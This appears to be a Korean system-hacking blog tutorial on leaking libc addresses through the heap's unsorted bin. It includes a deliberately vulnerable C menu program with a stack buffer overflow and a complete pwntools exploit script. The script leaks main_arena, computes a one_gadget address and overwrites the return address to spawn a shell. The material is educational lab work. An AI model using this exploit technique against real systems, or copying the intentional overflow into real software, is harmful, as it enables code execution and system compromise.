Memory Leak
메모리가 해제되면서 unsorted bin에 들어가는 힙은 main_arena 영역의 주소가 FD와 BK에 저장된다.
main_arena는 libc.so.6 라이브러리의 구조체이기 때문에 main_arena의 주소를 알아내 계산을 하면 라이브러리 함수의 주소를 구할 수 있게 된다.
leak1
// gcc -o leak1 leak1.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *ptr = malloc(0x100);
char *ptr2 = malloc(0x100);
free(ptr);
ptr = malloc(0x100);
printf("0x%lx\n", *(long long *)ptr);
return 0;
}
0x100 크기의 힙을 할당-해제하며 unsorted bin에 힙 청크를 삽입하게 된다.
메모리가 해제되고 unsorted bin에 삽입된 ptr 청크의 fd와 bk에는 main_arena 영역의 주소가 쓰인다.
이후 unsorted bin에 들어간 청크의 크기보다 작거나 같은 크기의 힙 청크를 할당하여 데이터를 출력하면 main_arena 영역의 주소를 출력한다.
▶ malloc 함수가 힙을 할당하며 데이터 영역을 초기화하지 않기 때문에 데이터의 재사용이 가능한 것이다. 만약 calloc과 같이 할당과 초기화를 함께 하는 함수를 사용하면 main_arena의 주소(라이브러리의 주소)는 구할 수 없다.
leak2
// gcc -o leak2 leak2.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char buf[256];
char *ptr[10];
int ch, idx;
int i = 0;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while (1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if( i > 10 ) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(0x100);
printf("Data: ");
read(0, ptr[i], 0x100);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
printf("idx: ");
scanf("%d", &idx);
if( i > 10 ) {
printf("Do not overflow\n");
exit(0);
}
printf("data: ");
read(0, ptr[idx], 0x100);
break;
case 4:
printf("idx: ");
scanf("%d", &idx);
if( i > 10 ) {
printf("Do not overflow\n");
exit(0);
}
printf("idx: %d\n", idx);
printf("data: %s\n",ptr[idx]);
break;
case 5:
read(0, buf, 300);
return 0;
default:
break;
}
}
return 0;
}
1번 선택 시, 회차에 따라 ptr[i]에 0x100 크기만큼의 힙청크를 할당하도록 한다. ptr[10]을 넘길 수 없다.
2번 선택 시, 원하는 인덱스(idx)의 힙 청크(ptr[idx])를 해제할 수 있다.
3번 선택 시, 원하는 인덱스(idx)의 힙 청크에 데이터를 적을 수 있다.
4번 선택 시, 원하는 인덱스(idx)의 인덱스 값과 ptr[idx]가 가리키는 데이터 내용을 출력한다.
5번 선택 시, buf에 내용을 입력하도록 되어 있고 바로 종료된다. << 스택 버퍼오버플로우 취약성 있음
익스플로잇 시나리오
<unsorted bin에 들어가기 위한 조건>
- 해제하려는 힙의 크기가 fastbin의 크기보다 커야한다.
- 힙 청크가 top chunk와 인접해있으면 안된다.
1. fastbin의 크기보다 큰 크기(0x100)의 힙을 두 번 할당하고 첫 번째 힙을 해제한다. → 해제 후, unsorted bin에 들어가면서 fd와 bk가 main_arena 영역의 주소를 가리키게 된다.
2. 0x100 크기의 청크를 할당하면 해제되었던 영역을 재사용하면서 fd와 bk에 쓰였던 main_arena영역의 주소를 데이터로 가지게 된다.
3. 힙 데이터를 출력해주는 기능(4번)을 사용해 main_arena 영역의 주소를 획득하고 libc_base를 구해 one_gadget의 주소를 계산한다.
4. 스택 버퍼 오버플로우(5번)를 통해 one_gadget을 리턴 주소로 조작하여 쉘을 획득한다.
# leak2.py
from pwn import *
p = process("./leak2")
def add(data):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(data))
def free(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
def edit(idx, data):
print p.sendlineafter(">","3")
print p.sendlineafter(":",str(idx))
print p.sendlineafter(":",str(data))
def show(idx):
print p.sendlineafter(">","4")
print p.sendlineafter(":",str(idx))
def overflow(data):
print p.sendlineafter(">","5")
print p.sendlineafter("",str(data))
add("AAAA") # 0
add("AAAA") # 1
free(0)
add("") # 2
show(2)
print p.recvuntil("data: ")
libc = u64(p.recv(6).ljust(8,"\x00"))
libc_base = libc - 0x3c4b0a
oneshot = libc_base + 0x45226
print hex(libc_base)
overflow("A"*280 + p64(oneshot))
p.interactive()
0x20b3110: 재할당을 하면서 unsorted bin에 들어간 영역을 재사용해 할당하게 되면서 개행을 입력하기 때문에 main_arena+88 주소를 가진 FD 포인터의 첫 바이트가 0x0a인 것을 확인할 수 있다.
'System > System Hacking' 카테고리의 다른 글
PLT, GOT (0) | 2021.01.14 |
---|---|
[Protection Tech.] NX bit (2) | 2021.01.03 |
[Heap] House of Force (0) | 2020.11.03 |
[Heap] The House of Spirit (0) | 2020.09.30 |
[Heap] UAF(Use-After-Free) (0) | 2020.09.19 |